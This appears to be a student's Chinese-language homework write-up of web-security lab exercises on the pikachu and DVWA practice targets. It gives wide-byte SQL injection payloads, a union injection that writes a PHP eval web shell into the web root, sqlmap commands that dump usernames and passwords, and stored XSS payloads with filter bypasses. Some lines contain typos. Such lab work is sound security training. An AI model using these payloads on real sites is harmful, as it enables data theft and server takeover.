1、利用宽字节注入实现“库名-表名”的注入过程,写清楚注入步骤;
1.开启burp抓包和pikachu靶场
因为网站会把用户输入的'前面加\进行处理,\会被编码为%5c,但是在查询中把%df和%5c通过GBK编码为汉字
所以在'前加一个%df就可以把网站给我们加的\给绕过
开启抓波拦截,输入%df' or 1=1 #
在我们的请求里面,网站已经把我们输入的%编码为了%25,不能达到我们的目的,所以手动修改数据包
然后放过去
发现方法有效,该点存在宽字节注入漏洞,然后开始正式爆破
我这里采用联合注入
判断有多少列
%df' or 1=1 order by 1#
order by 2
order by 3
发现有两列
开始爆数据库名
%df' union select 1,database();#
数据库名为pikachu
爆表名
%df' union select 1,table_name from information_schema.tables where table_schema=database();#
爆出来5张表
2、利用SQL注入实现DVWA站点的Getshell,写清楚步骤;
先判断有多少列
1' order by 2;#
1' order by 3;#
所以当前注入点为两列
注入一句话木马文件
' union select 1,"<?php eval($_POST['password']);?>" into outfile '/var/www/html/one.php
成功插入到网站根目录
获取shell
使用蚁剑连接
成功连接
3、使用Sqlmap工具完成对DVWA数据库的注入过程,要求按照库、表、列、内容的顺序进行注入;
启动burp和dvwa靶场
抓取一个数据包,然后复制数据包文件到1.txt文件
启动sqlmap,检测是否有漏洞
sqlmap -r 1.txt
发现sqlmap可以正常注入,并且识别漏洞
注入数据库名
查看当前数据库
sqlmsqlmap -r 1.txt --current-db
dvwa
查看所有数据库
sqlmap -r 1.txt --dbs
查看所有表
sqlmap -r 1.txt --tables
查看dvwa数据库的所有列
sqlmap -r 1.txt -D dvwa --columns
查看users表数据
sqlmap -r 1.txt -D dvwa -T users -C user,password --dump
4、完成DVWA靶场存储型XSS的漏洞练习
low
<script>alert(1)</script>
<img src=# οnerrοr=alert(2)>
medium
<script>alert(1)</script>
因为在massage做了addslashes
过滤,绕不过去,只能从name注入
发现name做了长度限制,可以通过抓包或者改前端html来绕过
然后发现name做了<script>的替换,然后可以开始绕过
大小写绕过
双写绕过

High

